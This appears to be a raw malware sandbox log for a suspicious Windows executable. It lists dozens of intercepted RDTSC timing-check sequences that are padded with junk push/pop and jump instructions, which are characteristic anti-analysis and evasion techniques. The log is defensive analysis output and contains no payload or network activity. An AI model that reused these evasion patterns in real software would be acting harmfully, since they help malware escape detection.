Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E9CB46 second address: E9CB6D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F3C25696DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F3C25696DACh 0x00000010 jmp 00007F3C25696DAFh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: E9CB6D second address: E9CB73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA2108 second address: EA210C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA23F3 second address: EA240B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C24EA6E54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA240B second address: EA2415 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F3C25696DA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA2415 second address: EA2476 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C24EA6E53h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F3C24EA6E59h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 jmp 00007F3C24EA6E58h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c jmp 00007F3C24EA6E50h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA25A2 second address: EA25A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA25A8 second address: EA25AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA25AE second address: EA25C8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3C25696DB4h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F3C25696DACh 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA25C8 second address: EA25E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3C24EA6E4Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F3C24EA6E4Ah 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA30CA second address: EA30D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA715D second address: EA7189 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3C24EA6E4Eh 0x00000009 jnp 00007F3C24EA6E46h 0x0000000f popad 0x00000010 jnl 00007F3C24EA6E50h 0x00000016 jmp 00007F3C24EA6E4Ah 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA7189 second address: EA71D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3C25696DB4h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F3C25696DB9h 0x00000010 popad 0x00000011 popad 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F3C25696DB1h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA71D2 second address: EA7203 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C24EA6E53h 0x00000007 jmp 00007F3C24EA6E52h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jnp 00007F3C24EA6E46h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA7203 second address: EA7207 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA6416 second address: EA6427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F3C24EA6E46h 0x0000000a popad 0x0000000b pop ecx 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA6828 second address: EA6832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3C25696DA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA6832 second address: EA6836 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA6836 second address: EA683C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA69DE second address: EA69FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F3C24EA6E50h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jl 00007F3C24EA6E60h 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA6B63 second address: EA6B7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e jnl 00007F3C25696DA6h 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA6B7C second address: EA6B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3C24EA6E4Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA6CA5 second address: EA6CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3C25696DB0h 0x00000009 popad 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EA6CBF second address: EA6CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F3C24EA6E46h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EADB73 second address: EADB8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3C25696DAFh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EADB8D second address: EADB91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EADF45 second address: EADF60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C25696DB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EADF60 second address: EADF83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3C24EA6E4Ah 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jo 00007F3C24EA6E46h 0x00000015 popad 0x00000016 jo 00007F3C24EA6E52h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EAE813 second address: EAE825 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F3C25696DACh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EAEB35 second address: EAEB39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EAEB39 second address: EAEB3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EAF08B second address: EAF0B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 je 00007F3C24EA6E46h 0x0000000f pop ebx 0x00000010 jo 00007F3C24EA6E4Eh 0x00000016 jne 00007F3C24EA6E46h 0x0000001c push eax 0x0000001d pop eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jnc 00007F3C24EA6E46h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EAF0B3 second address: EAF0B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EAF0B7 second address: EAF0DB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F3C24EA6E59h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push ebx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EAF0DB second address: EAF0E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EB7C53 second address: EB7C71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C24EA6E4Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop ebx 0x00000010 push ecx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EB7C71 second address: EB7C77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EB7C77 second address: EB7C7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EB7DBA second address: EB7DDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 ja 00007F3C25696DBEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EB7DDF second address: EB7DE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EB7DE4 second address: EB7DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EB7DEA second address: EB7E05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F3C24EA6E46h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebx 0x0000000e jnp 00007F3C24EA6E4Ah 0x00000014 push edx 0x00000015 pop edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EB7E05 second address: EB7E0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EB7F7C second address: EB7F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EB7F86 second address: EB7FBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F3C25696DB2h 0x0000000d jmp 00007F3C25696DB6h 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EB8115 second address: EB8124 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 js 00007F3C24EA6E46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EB8124 second address: EB812A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EB855F second address: EB857B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edi 0x00000006 jmp 00007F3C24EA6E55h 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EB857B second address: EB8587 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jg 00007F3C25696DA6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EBFA17 second address: EBFA1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EBFA1E second address: EBFA2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 je 00007F3C25696DAEh 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EBFB65 second address: EBFB94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3C24EA6E57h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3C24EA6E51h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EBFB94 second address: EBFB98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EBFB98 second address: EBFBB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F3C24EA6E4Fh 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EBFBB4 second address: EBFBC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EBFEC8 second address: EBFECC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC02ED second address: EC02F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC02F3 second address: EC02F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC0425 second address: EC0429 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC0429 second address: EC042D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC042D second address: EC0457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3C25696DB9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e js 00007F3C25696DA6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC0457 second address: EC0462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC0462 second address: EC0468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC0468 second address: EC046C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC05D0 second address: EC05D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC08C6 second address: EC08E0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F3C24EA6E51h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC08E0 second address: EC08E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC181A second address: EC1823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC1823 second address: EC1827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC1827 second address: EC184E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C24EA6E4Ch 0x00000007 jmp 00007F3C24EA6E4Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 jo 00007F3C24EA6E46h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC184E second address: EC1852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC4D5C second address: EC4D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC8CA3 second address: EC8CA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC882E second address: EC886B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3C24EA6E52h 0x00000009 jmp 00007F3C24EA6E50h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3C24EA6E4Eh 0x00000016 ja 00007F3C24EA6E46h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC886B second address: EC88AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F3C25696DA6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jo 00007F3C25696DA6h 0x00000016 jmp 00007F3C25696DB8h 0x0000001b pushad 0x0000001c popad 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f popad 0x00000020 jmp 00007F3C25696DAEh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC88AC second address: EC88C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3C24EA6E4Eh 0x00000008 jc 00007F3C24EA6E46h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC88C5 second address: EC88D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EC8A1A second address: EC8A2C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F3C24EA6E46h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: ED91B6 second address: ED91BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: ED91BB second address: ED91EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F3C24EA6E58h 0x0000000a js 00007F3C24EA6E46h 0x00000010 jo 00007F3C24EA6E46h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 pushad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: ED91EB second address: ED91FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EE8F7A second address: EE8F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF028D second address: EF02A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F3C25696DADh 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF02A6 second address: EF02AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF02AC second address: EF02BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F3C25696DA8h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF02BD second address: EF02C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF02C3 second address: EF02C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF02C7 second address: EF02D3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF02D3 second address: EF02D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
